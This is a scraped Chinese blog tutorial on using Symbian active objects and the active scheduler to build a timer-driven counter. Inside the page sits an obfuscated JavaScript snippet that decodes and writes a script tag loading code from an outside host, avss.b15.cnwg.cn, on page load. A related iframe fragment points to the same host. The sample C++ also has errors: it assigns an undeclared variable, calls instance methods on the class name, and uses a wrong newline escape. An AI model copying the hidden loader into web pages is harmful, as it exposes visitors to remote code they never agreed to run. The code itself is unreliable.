symbian中活动对象的一些简单的使用

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
symbian中活动对象的一些简单的使用

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


对symbain的学习已经又几个月了,今天来写写自己的一些活动服务对象使用方法.
symbian官方推荐使用活动服务对象(CActive)来代替多线程的使用,我想这个道理是很明了的,在手机这样的小内存设备里,运行多线程的程序是非常耗资源的,为了节约资源,symbian提供了一个活动服务对象的框架,允许把程序里并发执行对象(其实不是并发,不过宏观上看来是)放在一个线程里面执行,这些并发工作的对象就通过活动规划器(ActiveScheduler)来进行管理.
关于这两个东西的介绍,网上有一大堆的文档,我就不在这里废话了,如何使用呢?这里我先举一个简单的计数器的例子.我选择写一个exe的程序,也就是说程序是以E32Main为入口的.
   
GLDEF_C TInt E32Main()
{
     CTrapCleanup* cleanup=CTrapCleanup::New();
     TRAPD(error,callInstanceL());
     if (error != KErrNone){
         printf("get error %d/r/n", error);
     }
     delete cleanup;
     return 0; 
}
以上的内容是每一个exe文件都应该做的,CTrapCleanup* cleanup=CTrapCleanup::New()建立一个清除堆栈,以便程序在异常退出的时候把清除堆栈里面的资源都释放掉.当然你也可以加上堆检测宏,这里我就不多说了.TRAPD是symbian里面经常使用的宏,功能类似于try,第一个参数是让定义一个错误返回值变量的名字, 后面就是可能有异常的你写的函数.当这个函数异常时,程序不会crash, 你可以得到异常的原因.可以参考nokia论坛上的一些关于这些使用的文档.
接下来是vcallInstanceL函数,在这个函数里面我来建立ActiveScheduler.
LOCAL_C void callInstanceL()
{
     CActiveScheduler* scheduler = new(ELeave) CActiveScheduler();
     CleanupStack::PushL(scheduler);
     CActiveScheduler::Install(scheduler);
     TRAPD(error,doInstanceL());
     if(error) {
          printf("error code=%d/r/n",error);
     }
     else {
          printf("OK!/r/n[press any key]");
     }
     CleanupStack::PopAndDestroy(scheduler);
}
这段程序很简单就是创建一个活动规划器,并压入清除栈,然后安装活动规划器,这样就可以用了.再执行真正的实例函数,最后出栈销毁.doinstanceL我们放到最后来写,现在来构造我们的活动计数器对象.
class TimeCount : public CActive
    {
public :
     static TimeCount* NewLC(); // 构造函数
     ~TimeCount();
     void StartL();              // 计数开始
     void ConstructL();
     void RunL();               // 延时事件到达以后的处理函数
     void DoCancel();        // 取消请求提交
     void setDelayTime(int delayTime);
private:
     TimeCount();
     RTimer iTimer;            // 定时器
     int iTimeCount;            // 计数器
     int mTime;                   // 计数间隔时间 单位秒
};
TimeCount::TimeCount()
 : CActive(0)                    // 这里可以设置活动对象的优先级
{
     // 把自己加入活动规划器
     CActiveScheduler::Add(this);
}
TimeCount* TimeCount::NewLC()
{
     TimeCount* result = new (ELeave) TimeCount();
     CleanupStack::PushL( result );
     result->ConstructL();
     return result;
}
void TimeCount::DoCancel(void)
{
     iTimer.Cancel();
}
void TimeCount::setDelayTime(int mTime)
{
     DelayTime = mTime;
}
TimeCount::~TimeCount()
{
     Cancel();
     iTimer.Close();
}
void TimeCount::StartL()
{
     // 设定定时器状态为每隔mTime秒钟状态完成一次
     iTimer.After(iStatus, 10000 * 100 * mTime);
     // 提交异步请求
     SetActive();
}
void TimeCount::ConstructL()
{
     // 初始化计数器和定时器
     iTimeCount = 0;
     User::LeaveIfError(iTimer.CreateLocal());
}
void TimeCount::RunL()
{
     // 计数器+1以后继续提交延时请求事件
     printf("The Count is ->>%d", iTimeCount++);
     StartL();
}
每一个活动服务对象都有一个iStatus来标识当前对象的状态.在这里我们把iStatus设定为iTimer.After(iStatus, 10000 * 100 * mTime);也就是定时器定时mTime秒钟以后iStatus发生改变,这个时候活动规划器会收到这个状态的改变,从而调用相应活动对象的处理函数,也就是RunL函数.在RunL函数里面进行计数和输出,然后调用startL重新设置定时器和对象状态,再提交给活动规划器.这样mTime秒钟以后活动规划器会再次调用RunL函数.一直这样重复,这样就达到了计数器的效果.
最后我们来写doinstanceL函数
LOCAL_C void doInstanceL()
{      
     TimeCount* timeCount = TimeCount::NewLC();
     // 每隔一秒钟打印一次
     TimeCount->setDelayTime(1);
     TimeCount->StartL();
 
     CActiveScheduler::Start();
 
     CleanupStack::PopAndDestroy(1); 
}
创建好对象以后,加上CActiveScheduler::Start()程序就开始运行了,这句话告诉活动规划器该等待对象的状态的改变了,在这里就是timeCount的iStatus的改变.等iStatus改变并调用了RunL以后,继续等待iStstus的改变,这样我们使用活动对象的计数器就能够通过消息驱动运行起来了.
这里的CActiveScheduler只管理了一个CActive对象,就是timeCount,可以用类似的方法实现多个CActive,并且都加入CActiveScheduler,CActiveScheduler将会等待所有加入它的CActive的状态的改变,其中有一个的状态改变就会去执行对应的活动对象的处理函数,当状态同时发生的时候,会通过对象的优先级来决定先调用谁的RunL函数.CActiveScheduler也是非抢占式的,当一个RunL函数还没有执行完的时候,如果另一个CActive的状态改变,会等待RunL执行完以后再执行另一个CActive的处理函数.
用起来还算简单吧?.
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值